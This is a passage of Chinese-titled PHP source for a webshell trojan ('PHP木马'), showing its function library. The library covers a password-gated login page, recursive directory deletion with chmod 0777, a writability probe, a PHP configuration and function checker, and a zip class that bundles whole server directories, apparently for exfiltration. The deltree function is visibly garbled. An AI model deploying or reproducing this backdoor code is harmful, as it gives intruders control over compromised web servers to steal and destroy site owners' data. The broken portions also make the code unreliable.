PHP木马 删除记忆个人加强版 （一）
/*======================================================
函数库
======================================================*/
// 登陆入口
function loginpage() {
?>
<style type="text/css">
input {font-family: "Verdana";font-size: "11px";BACKGROUND-COLOR: "#FFFFFF";height: "18px";border: "1px solid #666666";}
</style>
<form method="POST" action="">
<span style="font-size: 11px; font-family: Verdana">Password: </span><input name="adminpass" type="password" size="20">
<input type="hidden" name="do" value="login">
<input type="submit" value="Login">
</form>
<?php
exit;
}//end loginpage()
// 页面调试信息
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo "Processed in $totaltime second(s)";
}
// 去掉转义字符
function stripslashes_array(&$array) {
while(list($key,$var) = each($array)) {
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)) {
$array[$key] = stripslashes_array($var);
}
}
}
return $array;
}
// 删除目录
function deltree($deldir) {
);
while($file=$mydir->read()) {
if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
@chmod("$deldir/$file",0777);
deltree("$deldir/$file");
}
if (is_file("$deldir/$file")) {
@chmod("$deldir/$file",0777);
@unlink("$deldir/$file");
}
}
$mydir->close();
@chmod("$deldir",0777);
return (@rmdir($deldir)) ? 1 : 0;
}
// 判断读写情况
function dir_writeable($dir) {
if (!is_dir($dir)) {
@mkdir($dir, 0777);
}
if(is_dir($dir)) {
if ($fp = @fopen("$dir/test.txt", 'w')) {
@fclose($fp);
@unlink("$dir/test.txt");
$writeable = 1;
} else {
$writeable = 0;
}
}
return $writeable;
}
// 表格行间的背景色替换
function getrowbg() {
global $bgcounter;
if ($bgcounter++%2==0) {
return "firstalt";
} else {
return "secondalt";
}
}
// 获取当前的文件系统路径
function getPath($mainpath, $relativepath) {
global $dir;
$mainpath_info = explode('/', $mainpath);
$relativepath_info = explode('/', $relativepath);
$relativepath_info_count = count($relativepath_info);
for ($i=0; $i<$relativepath_info_count; $i++) {
if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
if ($relativepath_info[$i] == '..') {
$mainpath_info_count = count($mainpath_info);
unset($mainpath_info[$mainpath_info_count-1]);
continue;
}
$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
} //end for
return implode('/', $mainpath_info);
}
// 检查PHP配置参数
function getphpcfg($varname) {
switch($result = get_cfg_var($varname)) {
case 0:
return "No";
break;
case 1:
return "Yes";
break;
default:
return $result;
break;
}
}
// 检查函数情况
function getfun($funName) {
return (false !== function_exists($funName)) ? "Yes" : "No";
}
// 压缩打包类
class PHPZip{
var $out='';
function PHPZip($dir) {
if (@function_exists('gzcompress')) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//文件列表
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, "r");
$content = @fread ($fd, filesize ($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
// 获得指定目录文件列表
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if($file!='.' && $file!='..'){
$f=$dir .'/'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0) {
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) .
pack('v', sizeof($this -> ctrl_dir)) .
pack('V', strlen($ctrldir)) .
pack('V', strlen($data)) .
"\x00\x00";
}
}
